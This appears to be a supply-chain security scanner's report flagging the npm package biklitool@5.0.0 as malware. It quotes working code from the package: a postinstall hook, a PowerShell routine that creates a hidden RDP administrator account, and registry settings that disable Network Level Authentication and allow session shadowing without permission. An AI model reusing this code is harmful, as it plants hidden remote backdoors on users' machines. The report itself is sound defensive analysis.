registry / biklitool / 5.0.0

biklitool@5.0.0

Internal Windows installer for Bikli CLI and Bikli Wrapper

AI Security Review

scanned 3h ago · by lpm-firewall-ai

On npm postinstall, the package elevates and configures an RDP-accessible administrator account while concealing accounts and binaries. It also weakens RDP authentication and creates inbound firewall rules.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

npm postinstall executes `biklimaster install` on Windows.

Impact

Unauthorised persistent remote administrative access and host concealment.

Mechanism

Privileged hidden-admin creation, RDP exposure, firewall opening, and executable masquerading.

Attack narrative

Installing the package triggers its postinstall command. The install path requests elevation, enables and exposes RDP, opens port 3389 in the firewall, creates or enables a privileged local account, grants it Remote Desktop Users membership, and hides it from the sign-in screen. It also alters executable metadata to resemble Microsoft svchost.exe and hides installation/account folders.

Rationale

Concrete unconsented postinstall persistence and remote-access changes establish malware behavior. No exfiltration endpoint is needed to substantiate the local administrative backdoor.

Evidence

package.jsonbin/biklimaster.jslib/bikliwrapper.jspayload/bikli-cli-installer.exepayload/RDPWInst.exeC:\ProgramData\BikliWrapper\admin-credentials.jsonHKLM\SYSTEM\CurrentControlSet\Control\Terminal ServerHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Postinstall unconditionally invokes the privileged install workflow.
Install enables RDP, creates an administrator account, and hides protected folders.
RDP settings disable Network Level Authentication and allow shadowing without permission.
The wrapper opens inbound TCP and UDP firewall rules on port 3389.
PowerShell creates/enables an admin, grants RDP access, then hides it from sign-in.
The package rewrites executable metadata to impersonate Microsoft svchost.exe.

Evidence against

No network exfiltration endpoint was found in inspected JavaScript.
Bundled payload hashes are verified before installation, but this does not mitigate the install-time backdoor behavior.

Behavioral surface

Source

ChildProcessCryptoEnvironmentVarsFilesystem

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 59.9 KB of source

Source & flagged code

6 flagged

package.jsonView file

Lines 7-41json

7 "access": "public"

8 },

9 "os": [

10 "win32"

11 ],

12 "bin": {

13 "biklitool":

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node bin/biklimaster.js install --postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node bin/biklimaster.js install --postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

payload/bikli-cli-installer.exeView file

•path = payload/bikli-cli-installer.exe kind = native_binary sizeBytes = 11639800 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

payload/bikli-cli-installer.exeView on unpkg

Findings

4 High4 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighKnown Malware Source Fingerprint Signaturebin/biklimaster.js

HighAi Review Evidencelib/bikliwrapper.js

HighAi Review Evidencebin/biklimaster.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumEnvironment Vars

MediumShips Native Binarypayload/bikli-cli-installer.exe

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

postinstall

Behavioral surface

ChildProcessCryptoEnvironmentVarsFilesystemHighEntropyStringsManifest: clean

LPM CLI

bin/biklimaster.jsView file

•matchType = malicious_source_fingerprint_signature signature = cb3cc5508d315b20 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = biklitool@1.1.20 matchedPath = bin/biklimaster.js matchedIdentity = npm:YmlrbGl0b29s:1.1.20 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/biklimaster.jsView on unpkg

701`if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName 'admin' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'admin';$createdNew=$true;$passwordChanged=$true;$action='created-admin'}else{$existingUser=Get-

High

Ai Review Evidence

PowerShell creates/enables an admin, grants RDP access, then hides it from sign-in.

bin/biklimaster.jsView on unpkg · L701

lib/bikliwrapper.jsView file

59const requestedSettings = [ { key: terminalServerKey, name: 'fDenyTSConnections', value: 0, label: 'Remote Desktop enabled' }, { key: terminalServerKey, name: 'fSingleSessionPerUser', value: 0, label: 'Unlimited concurrent logins per user (multi-session enabled)' }, { key: terminalServerKey, name: 'HonorLegacySettings', value: 0, label: 'Custom programs disabled' }, { key: terminalServerKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Unlimited connection instances' }, { key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' }, { key: rdpTcpKey, name: 'Sec

High

Ai Review Evidence

RDP settings disable Network Level Authentication and allow shadowing without permission.

lib/bikliwrapper.jsView on unpkg · L59

Source & flagged code

6 flagged

package.jsonView file

Lines 7-41json

7 "access": "public"

8 },

9 "os": [

10 "win32"

11 ],

12 "bin": {

13 "biklitool":

"bin/biklimaster.js"

,

14 "biklimaster": "bin/biklimaster.js",

15 "bikliwrapper": "lib/bikliwrapper.js"

16 },

17 "files": [

18 "bin",

19 "lib",

20 "payload",

21 "config.json",

22 "README.md",

23 "LICENSE-BIKLI",

24 "LICENSE-RDPWRAPPER"

25 ],

26 "scripts": {

27 "postinstall": "node bin/biklimaster.js install --postinstall",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L27

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L27

28 "test": "node bin/biklimaster.js self-test"

29 },

30 "engines": {

31 "node": ">=18"

32 },

33 "keywords": [

34 "bikli",

35 "rdp",

36 "vpn",

37 "windows",

38 "installer"

39 ]

40}

41

payload/bikli-cli-installer.exeView file

•path = payload/bikli-cli-installer.exe kind = native_binary sizeBytes = 11639800 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

payload/bikli-cli-installer.exeView on unpkg

bin/biklimaster.jsView file

Lines 681-721javascript

681 console.log(`Username: ${credentials.username}`);

682 console.log(`Password: ${credentials.password}`);

683 console.log(`Stored for Administrators only: ${credentialsFile}`);

lib/bikliwrapper.jsView file

Lines 39-79javascript

39 process.on('exit', () => {

40 try {

41 fs.rmSync(payloadDirectory, { recursive: true, force: true });

42 } catch {

43 // Windows can briefly retain executable handles; the next run uses a new directory.

684}

685

686function createRdpAdministrator() {

687 requireWindows();

688 if (!isAdministrator()) return elevateAndRun('create-user');

689

690 const requestedPassword = process.env.BIKLIMASTER_USER_PASSWORD || configuredAdministratorPassword();

691 const accountPassword = requestedPassword || generatedAccountPassword();

692 const script = [

693 `$ErrorActionPreference='Stop'`,

694 `$password=$env:BIKLIMASTER_ACCOUNT_PASSWORD`,

695 `$secure=ConvertTo-SecureString $password -AsPlainText -Force`,

696 `$groupSids=@(${powershellLiteral(administratorsGroupSid)},${powershellLiteral(remoteDesktopUsersGroupSid)})`,

697 `$builtIn=Get-LocalUser | Where-Object {$_.SID.Value -match '-500$'} | Select-Object -First 1`,

698 `if($null -eq $builtIn){throw 'Built-in Administrator account (RID 500) was not found'}`,

699 `$builtInWasDisabled=-not $builtIn.Enabled`,

700 `$target=$null;$action='';$createdNew=$false;$enabledBuiltIn=$false;$passwordChanged=$false`,

701 `if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName 'admin' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'admin';$createdNew=$true;$passwordChanged=$true;$action='created-admin'}else{$existingUser=Get- ...

High

Ai Review Evidence

PowerShell creates/enables an admin, grants RDP access, then hides it from sign-in.

bin/biklimaster.jsView on unpkg · L701

702 `if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,

703 `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,

704 `$verified=@()`,

705 `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,

706 `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,

707 `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,

708 `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,

709 `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne

710 `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,

711 `[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo

712 ].join(';');

713 const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {

714 env: {

715 ...process.env,

716 BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword

717 }

718 });

719 const account = JSON.parse(result.stdout.trim());

720 if (!account.Enabled || !Array.isArray(account.Groups) || account.Groups.length !== 2 || !account.HiddenUser) {

721 fail('The Remote Desktop administrator account could not be verified.', 7);

Long lines were clipped for display.

•matchType = malicious_source_fingerprint_signature signature = cb3cc5508d315b20 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = biklitool@1.1.20 matchedPath = bin/biklimaster.js matchedIdentity = npm:YmlrbGl0b29s:1.1.20 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/biklimaster.jsView on unpkg

44 }

45 });

46}

47const installerPath = path.join(payloadDirectory, 'RDPWInst.exe');

48const bundledIniPath = path.join(payloadDirectory, 'rdpwrap.ini');

49const windowsDirectory = process.env.SystemRoot || process.env.WINDIR || 'C:\\Windows';

50const system32 = path.join(windowsDirectory, 'System32');

51const powershellPath = path.join(system32, 'WindowsPowerShell', 'v1.0', 'powershell.exe');

52

53const terminalServerKey = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server';

54const rdpTcpKey = terminalServerKey + '\\WinStations\\RDP-Tcp';

55const serviceParametersKey = 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters';

56const shadowPolicyKey = 'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services';

57const logonPolicyKey = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System';

58

59const requestedSettings = [

60 { key: terminalServerKey, name: 'fDenyTSConnections', value: 0, label: 'Remote Desktop enabled' },

61 { key: terminalServerKey, name: 'fSingleSessionPerUser', value: 0, label: 'Unlimited concurrent logins per user (multi-session enabled)' },

62 { key: terminalServerKey, name: 'HonorLegacySettings', value: 0, label: 'Custom programs disabled' },

63 { key: terminalServerKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Unlimited connection instances' },

64 { key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' },

65 { key: rdpTcpKey, name: 'SecurityLayer', value: 1, label: 'Default RDP Authentication' },

High

Ai Review Evidence

RDP settings disable Network Level Authentication and allow shadowing without permission.

lib/bikliwrapper.jsView on unpkg · L59

66 { key: rdpTcpKey, name: 'UserAuthentication', value: 0, label: 'Network Level Authentication disabled' },

67 { key: rdpTcpKey, name: 'Shadow', value: 2, label: 'Full shadow access without permission' },

68 { key: rdpTcpKey, name: 'fSingleSessionPerUser', value: 0, label: 'RDP-Tcp multi-session enabled' },

69 { key: rdpTcpKey, name: 'MaxInstanceCount', value: 4294967295, label: 'RDP-Tcp unlimited instances' },

70 { key: rdpTcpKey, name: 'MaxConnectionTime', value: 0, label: 'No session duration time limit' },

71 { key: rdpTcpKey, name: 'MaxDisconnectionTime', value: 0, label: 'No disconnected session time limit' },

72 { key: rdpTcpKey, name: 'MaxIdleTime', value: 0, label: 'No idle session time limit' },

73 { key: rdpTcpKey, name: 'fResetBroken', value: 0, label: 'Reconnect broken sessions' },

74 { key: rdpTcpKey, name: 'fInheritMaxSessionTime', value: 0, label: 'Disable session time limit inheritance' },

75 { key: rdpTcpKey, name: 'fInheritMaxDisconnectionTime', value: 0, label: 'Disable disconnected time limit inheritance' },

76 { key: rdpTcpKey, name: 'fInheritMaxIdleTime', value: 0, label: 'Disable idle time limit inheritance' },

77 { key: rdpTcpKey, name: 'fInheritResetBroken', value: 0, label: 'Disable reset broken inheritance' },

78 { key: shadowPolicyKey, name: 'Shadow', value: 2, label: 'Shadow policy applied' },

79 { key: shadowPolicyKey, name: 'fSingleSessionPerUser', value: 0, label: 'Policy multi-session enabled' },

0

){throw (

'Could not hide '

+$target.Name+

' from the sign-in screen'

)};$alreadyHidden=$false}else{$alreadyHidden=$true}

`,

-

Json

-

Compress

`